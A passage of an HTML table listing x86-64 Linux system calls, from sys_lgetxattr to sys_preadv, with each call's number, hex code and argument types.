style="text-align:center">sys_lgetxattr</td><td style="text-align:center">C0</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">const char *name</td><td style="text-align:center">void *value</td><td style="text-align:center">size_t size</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">193</td><td style="text-align:center">sys_fgetxattr</td><td style="text-align:center">C1</td><td style="text-align:center">int fd</td><td style="text-align:center">const har *name</td><td style="text-align:center">void *value</td><td style="text-align:center">size_t size</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">194</td><td style="text-align:center">sys_listxattr</td><td style="text-align:center">C2</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">char *list</td><td style="text-align:center">size_t size</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">195</td><td style="text-align:center">sys_llistxattr</td><td style="text-align:center">C3</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">char *list</td><td style="text-align:center">size_t size</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">196</td><td style="text-align:center">sys_flistxattr</td><td style="text-align:center">C4</td><td style="text-align:center">int fd</td><td style="text-align:center">char *list</td><td style="text-align:center">size_t size</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">197</td><td style="text-align:center">sys_removexattr</td><td style="text-align:center">C5</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">const char *name</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">198</td><td style="text-align:center">sys_lremovexattr</td><td style="text-align:center">C6</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">const char *name</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">199</td><td style="text-align:center">sys_fremovexattr</td><td style="text-align:center">C7</td><td style="text-align:center">int fd</td><td style="text-align:center">const char *name</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">200</td><td style="text-align:center">sys_tkill</td><td style="text-align:center">C8</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">ing sig</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">201</td><td style="text-align:center">sys_time</td><td style="text-align:center">C9</td><td style="text-align:center">time_t *tloc</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">202</td><td style="text-align:center">sys_futex</td><td style="text-align:center">CA</td><td style="text-align:center">u32 *uaddr</td><td style="text-align:center">int op</td><td style="text-align:center">u32 val</td><td style="text-align:center">struct timespec *utime</td><td style="text-align:center">u32 *uaddr2</td><td style="text-align:center">u32 val3</td></tr><tr><td style="text-align:center">203</td><td style="text-align:center">sys_sched_setaffinity</td><td style="text-align:center">CB</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">unsigned int len</td><td style="text-align:center">unsigned long *user_mask_ptr</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">204</td><td style="text-align:center">sys_sched_getaffinity</td><td style="text-align:center">CC</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">unsigned int len</td><td style="text-align:center">unsigned long *user_mask_ptr</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">205</td><td style="text-align:center">sys_set_thread_area</td><td style="text-align:center">CD</td><td style="text-align:center">NOT IMPLEMENTED. Use arch_prctl</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">206</td><td style="text-align:center">sys_io_setup</td><td style="text-align:center">CE</td><td style="text-align:center">unsigned nr_events</td><td style="text-align:center">aio_context_t *ctxp</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">207</td><td style="text-align:center">sys_io_destroy</td><td style="text-align:center">CF</td><td style="text-align:center">aio_context_t ctx</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">208</td><td style="text-align:center">sys_io_getevents</td><td style="text-align:center">D0</td><td style="text-align:center">aio_context_t ctx_id</td><td style="text-align:center">long min_nr</td><td style="text-align:center">long nr</td><td style="text-align:center">struct io_event *events</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">209</td><td style="text-align:center">sys_io_submit</td><td style="text-align:center">D1</td><td style="text-align:center">aio_context_t ctx_id</td><td style="text-align:center">long nr</td><td style="text-align:center">struct iocb **iocbpp</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">210</td><td style="text-align:center">sys_io_cancel</td><td style="text-align:center">D2</td><td style="text-align:center">aio_context_t ctx_id</td><td style="text-align:center">struct iocb *iocb</td><td style="text-align:center">struct io_event *result</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">211</td><td style="text-align:center">sys_get_thread_area</td><td style="text-align:center">D3</td><td style="text-align:center">NOT IMPLEMENTED. Use arch_prctl</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">212</td><td style="text-align:center">sys_lookup_dcookie</td><td style="text-align:center">D4</td><td style="text-align:center">u64 cookie64</td><td style="text-align:center">long buf</td><td style="text-align:center">long len</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">213</td><td style="text-align:center">sys_epoll_create</td><td style="text-align:center">D5</td><td style="text-align:center">int size</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">214</td><td style="text-align:center">sys_epoll_ctl_old</td><td style="text-align:center">D6</td><td style="text-align:center">NOT IMPLEMENTED</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">215</td><td style="text-align:center">sys_epoll_wait_old</td><td style="text-align:center">D7</td><td style="text-align:center">NOT IMPLEMENTED</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">216</td><td style="text-align:center">sys_remap_file_pages</td><td style="text-align:center">D8</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">unsigned long size</td><td style="text-align:center">unsigned long prot</td><td style="text-align:center">unsigned long pgoff</td><td style="text-align:center">unsigned long flags</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">217</td><td style="text-align:center">sys_getdents64</td><td style="text-align:center">D9</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">struct linux_dirent64 *dirent</td><td style="text-align:center">unsigned int count</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">218</td><td style="text-align:center">sys_set_tid_address</td><td style="text-align:center">DA</td><td style="text-align:center">int *tidptr</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">219</td><td style="text-align:center">sys_restart_syscall</td><td style="text-align:center">DB</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">220</td><td style="text-align:center">sys_semtimedop</td><td style="text-align:center">DC</td><td style="text-align:center">int semid</td><td style="text-align:center">struct sembuf *tsops</td><td style="text-align:center">unsigned nsops</td><td style="text-align:center">const struct timespec *timeout</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">221</td><td style="text-align:center">sys_fadvise64</td><td style="text-align:center">DD</td><td style="text-align:center">int fd</td><td style="text-align:center">loff_t offset</td><td style="text-align:center">size_t len</td><td style="text-align:center">int advice</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">222</td><td style="text-align:center">sys_timer_create</td><td style="text-align:center">DE</td><td style="text-align:center">const clockid_t which_clock</td><td style="text-align:center">struct sigevent *timer_event_spec</td><td style="text-align:center">timer_t *created_timer_id</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">223</td><td style="text-align:center">sys_timer_settime</td><td style="text-align:center">DF</td><td style="text-align:center">timer_t timer_id</td><td style="text-align:center">int flags</td><td style="text-align:center">const struct itimerspec *new_setting</td><td style="text-align:center">struct itimerspec *old_setting</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">224</td><td style="text-align:center">sys_timer_gettime</td><td style="text-align:center">E0</td><td style="text-align:center">timer_t timer_id</td><td style="text-align:center">struct itimerspec *setting</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">225</td><td style="text-align:center">sys_timer_getoverrun</td><td style="text-align:center">E1</td><td style="text-align:center">timer_t timer_id</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">226</td><td style="text-align:center">sys_timer_delete</td><td style="text-align:center">E2</td><td style="text-align:center">timer_t timer_id</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">227</td><td style="text-align:center">sys_clock_settime</td><td style="text-align:center">E3</td><td style="text-align:center">const clockid_t which_clock</td><td style="text-align:center">const struct timespec *tp</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">228</td><td style="text-align:center">sys_clock_gettime</td><td style="text-align:center">E4</td><td style="text-align:center">const clockid_t which_clock</td><td style="text-align:center">struct timespec *tp</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">229</td><td style="text-align:center">sys_clock_getres</td><td style="text-align:center">E5</td><td style="text-align:center">const clockid_t which_clock</td><td style="text-align:center">struct timespec *tp</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">230</td><td style="text-align:center">sys_clock_nanosleep</td><td style="text-align:center">E6</td><td style="text-align:center">const clockid_t which_clock</td><td style="text-align:center">int flags</td><td style="text-align:center">const struct timespec *rqtp</td><td style="text-align:center">struct timespec *rmtp</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">231</td><td style="text-align:center">sys_exit_group</td><td style="text-align:center">E7</td><td style="text-align:center">int error_code</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">232</td><td style="text-align:center">sys_epoll_wait</td><td style="text-align:center">E8</td><td style="text-align:center">int epfd</td><td style="text-align:center">struct epoll_event *events</td><td style="text-align:center">int maxevents</td><td style="text-align:center">int timeout</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">233</td><td style="text-align:center">sys_epoll_ctl</td><td style="text-align:center">E9</td><td style="text-align:center">int epfd</td><td style="text-align:center">int op</td><td style="text-align:center">int fd</td><td style="text-align:center">struct epoll_event *event</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">234</td><td style="text-align:center">sys_tgkill</td><td style="text-align:center">EA</td><td style="text-align:center">pid_t tgid</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">int sig</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">235</td><td style="text-align:center">sys_utimes</td><td style="text-align:center">EB</td><td style="text-align:center">char *filename</td><td style="text-align:center">struct timeval *utimes</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">236</td><td style="text-align:center">sys_vserver</td><td style="text-align:center">EC</td><td style="text-align:center">NOT IMPLEMENTED</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">237</td><td style="text-align:center">sys_mbind</td><td style="text-align:center">ED</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">unsigned long len</td><td style="text-align:center">unsigned long mode</td><td style="text-align:center">unsigned long *nmask</td><td style="text-align:center">unsigned long maxnode</td><td style="text-align:center">unsigned flags</td></tr><tr><td style="text-align:center">238</td><td style="text-align:center">sys_set_mempolicy</td><td style="text-align:center">EE</td><td style="text-align:center">int mode</td><td style="text-align:center">unsigned long *nmask</td><td style="text-align:center">unsigned long maxnode</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">239</td><td style="text-align:center">sys_get_mempolicy</td><td style="text-align:center">EF</td><td style="text-align:center">int *policy</td><td style="text-align:center">unsigned long *nmask</td><td style="text-align:center">unsigned long maxnode</td><td style="text-align:center">unsigned long addr</td><td style="text-align:center">unsigned long flags</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">240</td><td style="text-align:center">sys_mq_open</td><td style="text-align:center">F0</td><td style="text-align:center">const char *u_name</td><td style="text-align:center">int oflag</td><td style="text-align:center">mode_t mode</td><td style="text-align:center">struct mq_attr *u_attr</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">241</td><td style="text-align:center">sys_mq_unlink</td><td style="text-align:center">F1</td><td style="text-align:center">const char *u_name</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">242</td><td style="text-align:center">sys_mq_timedsend</td><td style="text-align:center">F2</td><td style="text-align:center">mqd_t mqdes</td><td style="text-align:center">const char *u_msg_ptr</td><td style="text-align:center">size_t msg_len</td><td style="text-align:center">unsigned int msg_prio</td><td style="text-align:center">const stuct timespec *u_abs_timeout</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">243</td><td style="text-align:center">sys_mq_timedreceive</td><td style="text-align:center">F3</td><td style="text-align:center">mqd_t mqdes</td><td style="text-align:center">char *u_msg_ptr</td><td style="text-align:center">size_t msg_len</td><td style="text-align:center">unsigned int *u_msg_prio</td><td style="text-align:center">const struct timespec *u_abs_timeout</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">244</td><td style="text-align:center">sys_mq_notify</td><td style="text-align:center">F4</td><td style="text-align:center">mqd_t mqdes</td><td style="text-align:center">const struct sigevent *u_notification</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">245</td><td style="text-align:center">sys_mq_getsetattr</td><td style="text-align:center">F5</td><td style="text-align:center">mqd_t mqdes</td><td style="text-align:center">const struct mq_attr *u_mqstat</td><td style="text-align:center">struct mq_attr *u_omqstat</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">246</td><td style="text-align:center">sys_kexec_load</td><td style="text-align:center">F6</td><td style="text-align:center">unsigned long entry</td><td style="text-align:center">unsigned long nr_segments</td><td style="text-align:center">struct kexec_segment *segments</td><td style="text-align:center">unsigned long flags</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">247</td><td style="text-align:center">sys_waitid</td><td style="text-align:center">F7</td><td style="text-align:center">int which</td><td style="text-align:center">pid_t upid</td><td style="text-align:center">struct siginfo *infop</td><td style="text-align:center">int options</td><td style="text-align:center">struct rusage *ru</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">248</td><td style="text-align:center">sys_add_key</td><td style="text-align:center">F8</td><td style="text-align:center">const char *_type</td><td style="text-align:center">const char *_description</td><td style="text-align:center">const void *_payload</td><td style="text-align:center">size_t plen</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">249</td><td style="text-align:center">sys_request_key</td><td style="text-align:center">F9</td><td style="text-align:center">const char *_type</td><td style="text-align:center">const char *_description</td><td style="text-align:center">const char *_callout_info</td><td style="text-align:center">key_serial_t destringid</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">250</td><td style="text-align:center">sys_keyctl</td><td style="text-align:center">FA</td><td style="text-align:center">int option</td><td style="text-align:center">unsigned long arg2</td><td style="text-align:center">unsigned long arg3</td><td style="text-align:center">unsigned long arg4</td><td style="text-align:center">unsigned long arg5</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">251</td><td style="text-align:center">sys_ioprio_set</td><td style="text-align:center">FB</td><td style="text-align:center">int which</td><td style="text-align:center">int who</td><td style="text-align:center">int ioprio</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">252</td><td style="text-align:center">sys_ioprio_get</td><td style="text-align:center">FC</td><td style="text-align:center">int which</td><td style="text-align:center">int who</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">253</td><td style="text-align:center">sys_inotify_init</td><td style="text-align:center">FD</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">254</td><td style="text-align:center">sys_inotify_add_watch</td><td style="text-align:center">FE</td><td style="text-align:center">int fd</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">u32 mask</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">255</td><td style="text-align:center">sys_inotify_rm_watch</td><td style="text-align:center">FF</td><td style="text-align:center">int fd</td><td style="text-align:center">__s32 wd</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">256</td><td style="text-align:center">sys_migrate_pages</td><td style="text-align:center">100</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">unsigned long maxnode</td><td style="text-align:center">const unsigned long *old_nodes</td><td style="text-align:center">const unsigned long *new_nodes</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">257</td><td style="text-align:center">sys_openat</td><td style="text-align:center">101</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *filename</td><td style="text-align:center">int flags</td><td style="text-align:center">int mode</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">258</td><td style="text-align:center">sys_mkdirat</td><td style="text-align:center">102</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">int mode</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">259</td><td style="text-align:center">sys_mknodat</td><td style="text-align:center">103</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *filename</td><td style="text-align:center">int mode</td><td style="text-align:center">unsigned dev</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">260</td><td style="text-align:center">sys_fchownat</td><td style="text-align:center">104</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *filename</td><td style="text-align:center">uid_t user</td><td style="text-align:center">gid_t group</td><td style="text-align:center">int flag</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">261</td><td style="text-align:center">sys_futimesat</td><td style="text-align:center">105</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *filename</td><td style="text-align:center">struct timeval *utimes</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">262</td><td style="text-align:center">sys_newfstatat</td><td style="text-align:center">106</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *filename</td><td style="text-align:center">struct stat *statbuf</td><td style="text-align:center">int flag</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">263</td><td style="text-align:center">sys_unlinkat</td><td style="text-align:center">107</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">int flag</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">264</td><td style="text-align:center">sys_renameat</td><td style="text-align:center">108</td><td style="text-align:center">int oldfd</td><td style="text-align:center">const char *oldname</td><td style="text-align:center">int newfd</td><td style="text-align:center">const char *newname</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">265</td><td style="text-align:center">sys_linkat</td><td style="text-align:center">109</td><td style="text-align:center">int oldfd</td><td style="text-align:center">const char *oldname</td><td style="text-align:center">int newfd</td><td style="text-align:center">const char *newname</td><td style="text-align:center">int flags</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">266</td><td style="text-align:center">sys_symlinkat</td><td style="text-align:center">10A</td><td style="text-align:center">const char *oldname</td><td style="text-align:center">int newfd</td><td style="text-align:center">const char *newname</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">267</td><td style="text-align:center">sys_readlinkat</td><td style="text-align:center">10B</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">char *buf</td><td style="text-align:center">int bufsiz</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">268</td><td style="text-align:center">sys_fchmodat</td><td style="text-align:center">10C</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *filename</td><td style="text-align:center">mode_t mode</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">269</td><td style="text-align:center">sys_faccessat</td><td style="text-align:center">10D</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *filename</td><td style="text-align:center">int mode</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">270</td><td style="text-align:center">sys_pselect6</td><td style="text-align:center">10E</td><td style="text-align:center">int n</td><td style="text-align:center">fd_set *inp</td><td style="text-align:center">fd_set *outp</td><td style="text-align:center">fd_set *exp</td><td style="text-align:center">struct timespec *tsp</td><td style="text-align:center">void *sig</td></tr><tr><td style="text-align:center">271</td><td style="text-align:center">sys_ppoll</td><td style="text-align:center">10F</td><td style="text-align:center">struct pollfd *ufds</td><td style="text-align:center">unsigned int nfds</td><td style="text-align:center">struct timespec *tsp</td><td style="text-align:center">const sigset_t *sigmask</td><td style="text-align:center">size_t sigsetsize</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">272</td><td style="text-align:center">sys_unshare</td><td style="text-align:center">110</td><td style="text-align:center">unsigned long unshare_flags</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">273</td><td style="text-align:center">sys_set_robust_list</td><td style="text-align:center">111</td><td style="text-align:center">struct robust_list_head *head</td><td style="text-align:center">size_t len</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">274</td><td style="text-align:center">sys_get_robust_list</td><td style="text-align:center">112</td><td style="text-align:center">int pid</td><td style="text-align:center">struct robust_list_head **head_ptr</td><td style="text-align:center">size_t *len_ptr</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">275</td><td style="text-align:center">sys_splice</td><td style="text-align:center">113</td><td style="text-align:center">int fd_in</td><td style="text-align:center">loff_t *off_in</td><td style="text-align:center">int fd_out</td><td style="text-align:center">loff_t *off_out</td><td style="text-align:center">size_t len</td><td style="text-align:center">unsigned int flags</td></tr><tr><td style="text-align:center">276</td><td style="text-align:center">sys_tee</td><td style="text-align:center">114</td><td style="text-align:center">int fdin</td><td style="text-align:center">int fdout</td><td style="text-align:center">size_t len</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">277</td><td style="text-align:center">sys_sync_file_range</td><td style="text-align:center">115</td><td style="text-align:center">long fd</td><td style="text-align:center">loff_t offset</td><td style="text-align:center">loff_t bytes</td><td style="text-align:center">long flags</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">278</td><td style="text-align:center">sys_vmsplice</td><td style="text-align:center">116</td><td style="text-align:center">int fd</td><td style="text-align:center">const struct iovec *iov</td><td style="text-align:center">unsigned long nr_segs</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">279</td><td style="text-align:center">sys_move_pages</td><td style="text-align:center">117</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">unsigned long nr_pages</td><td style="text-align:center">const void **pages</td><td style="text-align:center">const int *nodes</td><td style="text-align:center">int *status</td><td style="text-align:center">int flags</td></tr><tr><td style="text-align:center">280</td><td style="text-align:center">sys_utimensat</td><td style="text-align:center">118</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *filename</td><td style="text-align:center">struct timespec *utimes</td><td style="text-align:center">int flags</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">281</td><td style="text-align:center">sys_epoll_pwait</td><td style="text-align:center">119</td><td style="text-align:center">int epfd</td><td style="text-align:center">struct epoll_event *events</td><td style="text-align:center">int maxevents</td><td style="text-align:center">int timeout</td><td style="text-align:center">const sigset_t *sigmask</td><td style="text-align:center">size_t sigsetsize</td></tr><tr><td style="text-align:center">282</td><td style="text-align:center">sys_signalfd</td><td style="text-align:center">11A</td><td style="text-align:center">int ufd</td><td style="text-align:center">sigset_t *user_mask</td><td style="text-align:center">size_t sizemask</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">283</td><td style="text-align:center">sys_timerfd_create</td><td style="text-align:center">11B</td><td style="text-align:center">int clockid</td><td style="text-align:center">int flags</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">284</td><td style="text-align:center">sys_eventfd</td><td style="text-align:center">11C</td><td style="text-align:center">unsigned int count</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">285</td><td style="text-align:center">sys_fallocate</td><td style="text-align:center">11D</td><td style="text-align:center">long fd</td><td style="text-align:center">long mode</td><td style="text-align:center">loff_t offset</td><td style="text-align:center">loff_t len</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">286</td><td style="text-align:center">sys_timerfd_settime</td><td style="text-align:center">11E</td><td style="text-align:center">int ufd</td><td style="text-align:center">int flags</td><td style="text-align:center">const struct itimerspec *utmr</td><td style="text-align:center">struct itimerspec *otmr</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">287</td><td style="text-align:center">sys_timerfd_gettime</td><td style="text-align:center">11F</td><td style="text-align:center">int ufd</td><td style="text-align:center">struct itimerspec *otmr</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">288</td><td style="text-align:center">sys_accept4</td><td style="text-align:center">120</td><td style="text-align:center">int fd</td><td style="text-align:center">struct sockaddr *upeer_sockaddr</td><td style="text-align:center">int *upeer_addrlen</td><td style="text-align:center">int flags</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">289</td><td style="text-align:center">sys_signalfd4</td><td style="text-align:center">121</td><td style="text-align:center">int ufd</td><td style="text-align:center">sigset_t *user_mask</td><td style="text-align:center">size_t sizemask</td><td style="text-align:center">int flags</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">290</td><td style="text-align:center">sys_eventfd2</td><td style="text-align:center">122</td><td style="text-align:center">unsigned int count</td><td style="text-align:center">int flags</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">291</td><td style="text-align:center">sys_epoll_create1</td><td style="text-align:center">123</td><td style="text-align:center">int flags</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">292</td><td style="text-align:center">sys_dup3</td><td style="text-align:center">124</td><td style="text-align:center">unsigned int oldfd</td><td style="text-align:center">unsigned int newfd</td><td style="text-align:center">int flags</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">293</td><td style="text-align:center">sys_pipe2</td><td style="text-align:center">125</td><td style="text-align:center">int *filedes</td><td style="text-align:center">int flags</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">294</td><td style="text-align:center">sys_inotify_init1</td><td style="text-align:center">126</td><td style="text-align:center">int flags</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">295</td><td style="text-align:center">sys_preadv</td><td style="text-align:center">127</td><td style="text-align:center">unsigned long fd</td><td style="text-align:center">const struct iovec *vec</td><td style="text-align:center">unsigned long 